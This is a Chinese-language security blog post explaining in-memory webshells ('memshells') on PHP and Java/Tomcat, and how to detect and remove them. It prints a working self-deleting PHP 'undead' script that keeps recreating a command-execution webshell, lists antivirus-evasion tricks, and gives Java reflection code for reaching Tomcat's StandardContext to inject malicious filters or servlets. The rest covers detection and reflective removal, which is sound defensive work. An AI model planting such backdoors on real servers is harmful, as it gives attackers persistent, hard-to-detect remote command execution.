内存马(memshell)利用与检测

内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高流量分析、EDR等专业安全设备被蓝方广泛使用,传统文件上传的webshell或以文件形式驻留的后门越来越容易被检测到,因此内存马使用越来越多。内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。

原理

基本原理

客户端发起Web请求后,中间件的各个独立组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作,内存马就是利用请求过程中在内存中修改已有的组件或动态注册一个新的组件,插入shellcode,达到持久化控制服务器的目的。攻击者利用软件安全漏洞,构造恶意输入导致软件正在处理输入数据时出现非预期的错误,将输入数据写入内存中的某些特定敏感位置,从而劫持软件控制流、执行流,转而执行外部输入的指令代码,造成目标系统被获取远程控制。

PHP内存马

PHP内存马即PHP不死马,会无限在指定目录中生成webshell文件:

不死马.php -> 上传到server -> 执行不死马.php -> 循环生成一句话木马

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
$content = '<?php @system($_GET["log"]); ?>';
while (1) {
if(!file_exists("log.php")){
file_put_contents("log.php", $content);
}
usleep(10000);
}
?>
  1. ignore_user_abort(1); 该函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
  2. set_time_limit(0); 函数限制脚本的执行时间(如设置5则需在5秒内执行完)。这里设置为0是指没有时间限制。
  3. unlink(__FILE__);删除文件本身

免杀:字符串拼接、旋转、加密解密、自定义函数、异或操作、生成隐藏文件

Java内存马

Java内存马的流程:

  • 第一步,获取当前请求的HttpRequest对象或tomcat的StandardContext对象(Weblogic下是ServletContext对象),SpringMVC和SpringBoot下注入controller和interceptor则是获取到WebApplicationContext对象。
  • 第二步,创建servlet、filter或controller等恶意对象
  • 第三步,使用各类context对象的各种方法,向中间件或框架动态添加servlet、filter或controller等恶意对象,完成内存马的注入

向各种中间件和框架注入内存马的基础,就是要获得context,所谓context实际上就是拥有当前中间件或框架处理请求、保存和控制servlet对象、保存和控制filter对象等功能的对象。

获取context

已有request对象情况下:从request对象可以获取servletContext再一步一步获取standardContext。例如可以向Tomcat的webapp目录下上传JSP文件的情况下,JSP文件里可以就直接调用request对象,因为Tomcat编码JSP文件为java文件时,会自动将request对象放加进去。这时只需要一步一步获取standardContext即可

1
2
3
4
5
6
7
8
9
javax.servlet.ServletContext servletContext = request.getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context"); // 获取属性
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //从servletContext中获取context属性->applicationContext

Field stdctx = applicationContext.getClass().getDeclaredField("context"); // 获取属性
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 从applicationContext中获取context属性->standardContext,applicationContext构造时需要传入standardContext

没有Context的情况下:

  1. 由于Tomcat(仅限8和9版本)处理请求的线程中,存在ContextLoader对象,而这个对象又保存了StandardContext对象,所以很方便就获取了,代码如下:
1
2
3
4
5
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

System.out.println(standardContext);
  1. 从ThreadLoacl获取request,详见threedr3am师傅的文章,支持Tomcat 7、8、9
  2. 从MBean中获取StandardContext对象,必须猜中项目名和host,才能获取到对应的standardContext对象,支持Tomcat 7、8、9,具体内容如奇安信团队的研究

检测与防护

PHP内存马

检测

通过对PHP进程执行行为进行监控,关联分析敏感行为以识别此类攻击,检查所有PHP进程处理请求的持续时间。

查杀

  1. 重启服务
  2. 占用目录和文件名,与不死马生成的马的名字一样的路径及文件
  3. 一直定时删除不死马文件

Java内存马

检测

扫描Filter和Servlet:要想扫描web应用内存中的Filter和Servlet,我们必须知道它们存储的位置。通过查看代码,我们知道StandardContext对象中维护如下属性:1. 和Filter相关的是filterDefsfilterMaps两个属性。这两个属性分别维护着全局Filter的定义,以及Filter的映射关系。2. 和Servlet相关的是childrenservletMappings两个属性。这两个属性分别维护这全家Servlet的定义,以及Servlet的映射关系。request对象中存储着StandardContext对象:

1
2
3
4
5
6
7
request.getSession().getServletContext() {ApplicationContextFacade}
-> context {ApplicationContext}
-> context {StandardContext}
* filterDefs
* filterMaps
* children
* servletMappings

所以我们只需要通过反射遍历request,最终就可以拿到Filter和Servlet的如下信息:

1
2
3
4
5
6
7
Filter/Servlet名
匹配路径
Class
ClassLoader
Class文件存储路径。
内存中Class字节码(方便反编译审计其是否存在恶意代码)
Class是否有对应的磁盘文件(判断内存马的重要指标)

清除

注销Filter内存马:Tomcat注销filter其实就是将该Filter从全局filterDefs和filterMaps中清除掉。具体的操作分别如下removeFilterDefremoveFilterMap两个方法中:

1
2
3
4
5
6
7
8
9
10
11
12
13
//org.apache.catalina.core.StandardContext#removeFilterDef
public void removeFilterDef(FilterDef filterDef) {
synchronized(this.filterDefs) {
this.filterDefs.remove(filterDef.getFilterName());
}
this.fireContainerEvent("removeFilterDef", filterDef);
}

//org.apache.catalina.core.StandardContext#removeFilterMap
public void removeFilterMap(FilterMap filterMap) {
this.filterMaps.remove(filterMap);
this.fireContainerEvent("removeFilterMap", filterMap);
}

通过反射调用即可注销:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public synchronized void deleteFilter(HttpServletRequest request,String filterName) throws Exception{
Object standardContext = getStandardContext(request);

// org.apache.catalina.core.StandardContext#removeFilterDef
HashMap<String,Object> filterConfig = getFilterConfig(request);
Object appFilterConfig = filterConfig.get(filterName);
Field _filterDef = appFilterConfig.getClass().getDeclaredField("filterDef");
_filterDef.setAccessible(true);
Object filterDef = _filterDef.get(appFilterConfig);
Method removeFilterDef = standardContext.getClass().getDeclaredMethod("removeFilterDef", new Class[]{org.apache.tomcat.util.descriptor.web.FilterDef.class});
removeFilterDef.setAccessible(true);
removeFilterDef.invoke(standardContext,filterDef);

// org.apache.catalina.core.StandardContext#removeFilterMap
Object[] filterMaps = getFilterMaps(request);
for(Object filterMap:filterMaps){
Field _filterName = filterMap.getClass().getDeclaredField("filterName");
_filterName.setAccessible(true);
String filterName0 = (String)_filterName.get(filterMap);
if(filterName0.equals(filterName)){
Method removeFilterMap = standardContext.getClass().getDeclaredMethod("removeFilterMap", new Class[]{org.apache.catalina.deploy.FilterMap.class});
removeFilterDef.setAccessible(true);
removeFilterMap.invoke(standardContext,filterMap);
}
}
}

注销Servlet内存马:注销Servlet的原理也是类似,将该Servlet从全局servletMappings和children中清除掉即可。在Tomcat源码中对应的是removeServletMappingremoveChild方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//org.apache.catalina.core.StandardContext#removeServletMapping
public void removeServletMapping(String pattern) {
String name = null;
synchronized(this.servletMappingsLock) {
name = (String)this.servletMappings.remove(pattern);
}

Wrapper wrapper = (Wrapper)this.findChild(name);
if (wrapper != null) {
wrapper.removeMapping(pattern);
}

this.fireContainerEvent("removeServletMapping", pattern);
}

//org.apache.catalina.core.StandardContext#removeChild
public void removeChild(Container child) {
if (!(child instanceof Wrapper)) {
throw new IllegalArgumentException(sm.getString("standardContext.notWrapper"));
} else {
super.removeChild(child);
}
}

反射调用移除:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public synchronized void deleteServlet(HttpServletRequest request,String servletName) throws Exception{
HashMap<String,Object> childs = getChildren(request);
Object objChild = childs.get(servletName);
String urlPattern = null;
HashMap<String,String> servletMaps = getServletMaps(request);
for(Map.Entry<String,String> servletMap:servletMaps.entrySet()){
if(servletMap.getValue().equals(servletName)){
urlPattern = servletMap.getKey();
break;
}
}

if(urlPattern != null) {
// 反射调用 org.apache.catalina.core.StandardContext#removeServletMapping
Object standardContext = getStandardContext(request);
Method removeServletMapping = standardContext.getClass().getDeclaredMethod("removeServletMapping", new Class[]{String.class});
removeServletMapping.setAccessible(true);
removeServletMapping.invoke(standardContext, urlPattern);
// Tomcat 6必须removeChild 789可以不用
// 反射调用 org.apache.catalina.core.StandardContext#removeChild
Method removeChild = standardContext.getClass().getDeclaredMethod("removeChild", new Class[]{org.apache.catalina.Container.class});
removeChild.setAccessible(true);
removeChild.invoke(standardContext, objChild);
}
}

内存马(memshell)利用与检测
https://chujian521.github.io/blog/2023/09/16/内存马(memshell)利用与检测/
作者
Encounter
发布于
2023年9月16日
许可协议